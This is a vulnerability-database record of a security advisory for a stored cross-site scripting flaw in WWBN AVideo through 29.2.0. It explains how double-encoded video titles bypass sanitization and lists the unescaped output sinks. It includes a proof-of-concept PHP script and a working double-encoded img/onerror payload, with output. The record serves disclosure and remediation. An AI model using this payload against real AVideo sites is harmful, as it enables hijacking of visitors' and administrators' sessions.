{"schema":"threatline.record/2","record":{"id":"GHSA-q62w-927x-vhhf","aliases":["GHSA-q62w-927x-vhhf"],"summary":"WWBN AVideo through 29.2.0 Stored XSS via Double-Encoded Video Title","details":"WWBN AVideo through 29.2.0 contains a stored cross-site scripting vulnerability that allows users with upload permission to inject JavaScript by double-encoding video titles that bypass safeString() sanitization. Two sanitization passes in Video::setTitle() and Video::save() decode the payload into a real tag that view/trending.php, view/videoEmbeded.php, YouPHPFlix2 gallery rows and view/include/playlist.php echo unescaped, executing scripts in visitors' and administrators' browsers.\n\n## Details\n\n`safeString()` (objects/functions.php:375-410 at `master`) strips tags first and decodes entities last:\n\n```php\n$text = strip_tags($text);\n$text = str_replace(['&amp;', '&lt;', '&gt;', '&zwnj;'], ['', '', '', ''], $text);\n$text = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/u', '', $text);\n$text = preg_replace('/(&#x*[0-9A-F]+);*/iu', '', $text);\n$text = html_entity_decode($text, ENT_COMPAT, 'UTF-8');   // decodes LAST\n```\n\n`Video::setTitle()` runs it (objects/video.php:4170) and `Video::save()` runs it again (objects/video.php:669). Each pass strips tags, removes one layer of entities, then decodes, so two passes turn doubly-encoded markup into real tags. `setTitle()` only replaces double quotes and backslashes afterwards, which this payload does not need.\n\nThe upload endpoint takes this path: `objects/videoAddNew.json.php` calls `setTitle()` (line 120) and then `save(true)` (line 266). `save()` hands the title to `ObjectYPT::save()`, which binds it as a plain string parameter, so it is stored exactly as `safeString()` returned it. `Video::getAllVideos()` reads it back with only `UTF8encode()` (objects/video.php:2384).\n\nSinks at `master` that echo the stored title without escaping:\n\n- view/trending.php:80 `<strong><?php echo $value['title']; ?></strong>`\n- view/videoEmbeded.php:363 (the `<h1>` for article videos)\n- plugin/YouPHPFlix2/view/row.php:91 and plugin/YouPHPFlix2/view/BigVideoInfoDetails.php:12\n- view/include/playlist.php:167\n- plugin/PlayerSkins/seo.php:89 (inside an `<a>` body and its `title` attribute)\n\nNo Content-Security-Policy is sent, so the inline handler runs.\n\nThe root cause is acc85b7c (2022-07-12, #6853), which moved `html_entity_decode()` into `safeString()` after `strip_tags()`; the first release containing it is 12.4, and every release since (through v29.1.0, v29.1.1 and v29.2.0) is affected. 44c1225e escaped the title in one report table only, which leaves the stored value and the sinks above unchanged.\n\nPreconditions: an account that can upload (`videoAddNew.json.php`); the video must be listed for the public sinks (trending, gallery, embed). The stored HTML survives until something calls `Video::save()` on the row again.\n\n## Proof of concept\n\nThe script extracts `safeString()` verbatim from `objects/functions.php` at a given ref and reproduces `Video::setTitle()` followed by `Video::save()`. Layout: a clone of this repository at `repo/`, and the script at `a/b/poc.php` (it reads `__DIR__/../../repo`).\n\n```sh\ngit clone https://github.com/WWBN/AVideo.git repo\nmkdir -p a/b   # save the script below as a/b/poc.php\nfor ref in acc85b7c~1 acc85b7c v29.2.0 master; do php a/b/poc.php $ref; done\n```\n\n`poc.php`:\n\n```php\n<?php\n// Reproduces Video::setTitle() (safeString + quote strip) followed by Video::save() (safeString again)\n// using safeString() copied verbatim from objects/functions.php at the ref given as argv[1].\n$ref = $argv[1];\n$src = shell_exec(\"git -C \" . escapeshellarg(__DIR__ . '/../../repo') . \" show \" . escapeshellarg(\"$ref:objects/functions.php\"));\npreg_match('/function safeString\\(.*?\\n}\\n/s', $src, $m);\neval($m[0]);\nfunction setTitle($t){ $t = safeString($t); return str_replace(['\"', \"\\\\\"], [\"''\", \"\"], $t); }\n$x = '&&&amp;amp;lt;lt;img src=x onerror=alert(1)&&&amp;amp;gt;gt;';\n$stored = safeString(setTitle($x));\necho \"[$ref] POST title : $x\\n[$ref] after setTitle: \" . setTitle($x) . \"\\n[$ref] stored (save): $stored\\n\";\n// old reportMyVideos.php DataTables render: '<button ...>' + row.title + '</button>' -> innerHTML\necho \"[$ref] old report cell: <button class=\\\"btn btn-default btn-block\\\">\" . $stored . \"</button>\\n\";\necho \"[$ref] new report cell: <button class=\\\"btn btn-link\\\">\" . htmlspecialchars($stored) . \"</button>\\n\";\n```\n\nOutput (PHP 8.5; the two `report cell` lines show the reportMyVideos rendering before and after 44c1225e):\n\n```\n[acc85b7c~1] POST title : &&&amp;amp;lt;lt;img src=x onerror=alert(1)&&&amp;amp;gt;gt;\n[acc85b7c~1] after setTitle: ampampltltimg srcx onerroralert(1)ampampgtgt\n[acc85b7c~1] stored (save): ampampltltimg srcx onerroralert(1)ampampgtgt\n[acc85b7c~1] old report cell: <button class=\"btn btn-default btn-block\">ampampltltimg srcx onerroralert(1)ampampgtgt</button>\n[acc85b7c~1] new report cell: <button class=\"btn btn-link\">ampampltltimg srcx onerroralert(1)ampampgtgt</button>\n[acc85b7c] POST title : &&&amp;amp;lt;lt;img src=x onerror=alert(1)&&&amp;amp;gt;gt;\n[acc85b7c] after setTitle: &&lt;lt;img src=x onerror=alert(1)&&gt;gt;\n[acc85b7c] stored (save): <img src=x onerror=alert(1)>\n[v29.2.0] POST title : &&&amp;amp;lt;lt;img src=x onerror=alert(1)&&&amp;amp;gt;gt;\n[v29.2.0] after setTitle: &&lt;lt;img src=x onerror=alert(1)&&gt;gt;\n[v29.2.0] stored (save): <img src=x onerror=alert(1)>\n[v29.2.0] old report cell: <button class=\"btn btn-default btn-block\"><img src=x onerror=alert(1)></button>\n[v29.2.0] new report cell: <button class=\"btn btn-link\">&lt;img src=x onerror=alert(1)&gt;</button>\n[master@5e1701fc2] POST title : &&&amp;amp;lt;lt;img src=x onerror=alert(1)&&&amp;amp;gt;gt;\n[master@5e1701fc2] after setTitle: &&lt;lt;img src=x onerror=alert(1)&&gt;gt;\n[master@5e1701fc2] stored (save): <img src=x onerror=alert(1)>\n[master@5e1701fc2] old report cell: <button class=\"btn btn-default btn-block\"><img src=x onerror=alert(1)></button>\n[master@5e1701fc2] new report cell: <button class=\"btn btn-link\">&lt;img src=x onerror=alert(1)&gt;</button>\n```\n\nThe sanitizer chain was executed. The database round trip and the browser render were traced in source (see Details) rather than executed against a running instance.\n\n## Impact\n\nAny user with upload permission can store JavaScript in a video title that runs in the browser of every visitor who loads a page listing the video (trending, gallery rows, playlists, the embed page), including administrators. With an administrator's session the script can perform any admin action available to the browser, for example creating users or changing site configuration.\n\nSuggested fix direction: escape the title at output (`htmlspecialchars`) in every sink, and make `safeString()` decode before `strip_tags()`, or not decode at all, so it is idempotent.\n\n## References\n\n- https://github.com/WWBN/AVideo/commit/acc85b7cab29076684cb468d51672b3012c2a944\n- https://github.com/WWBN/AVideo/commit/44c1225e68dbfc922f38cdb82b1876ece59dd7ce\n- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/functions.php#L375-L410\n- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/video.php#L4170\n- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/objects/video.php#L669\n- https://github.com/WWBN/AVideo/blob/5e1701fc21c5150533e7b0e65e1c493d81dcf66d/view/trending.php#L80\n\n## CVE\n\nVulnCheck (a CVE Numbering Authority) has reserved **CVE-2026-105086** for this issue. Please reference it in the published advisory rather than requesting a new ID, so the issue does not end up with duplicate CVEs.","categories":["Unclassified"],"product":"wwbn/avideo","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-q62w-927x-vhhf","source_modified_at":"2026-10-04T15:05:58Z","fetched_at":"2026-10-23T21:14:28.314422Z","package":{"ecosystem":"composer","name":"wwbn/avideo"},"range":">= 12.4, <= 29.2.0"}],"fixed_versions":[],"cvss":8.7,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-04T15:05:58Z","modified_at":"2026-10-04T15:05:58Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-q62w-927x-vhhf","fetched_at":"2026-10-23T21:14:28.314422Z","source_modified_at":"2026-10-04T15:05:58Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-04T15:05:58Z","content_hash":"4435b6d2c5756778db0db70d98c007e04f2ff7e5c199396f38b860b0ba944bc3"}}
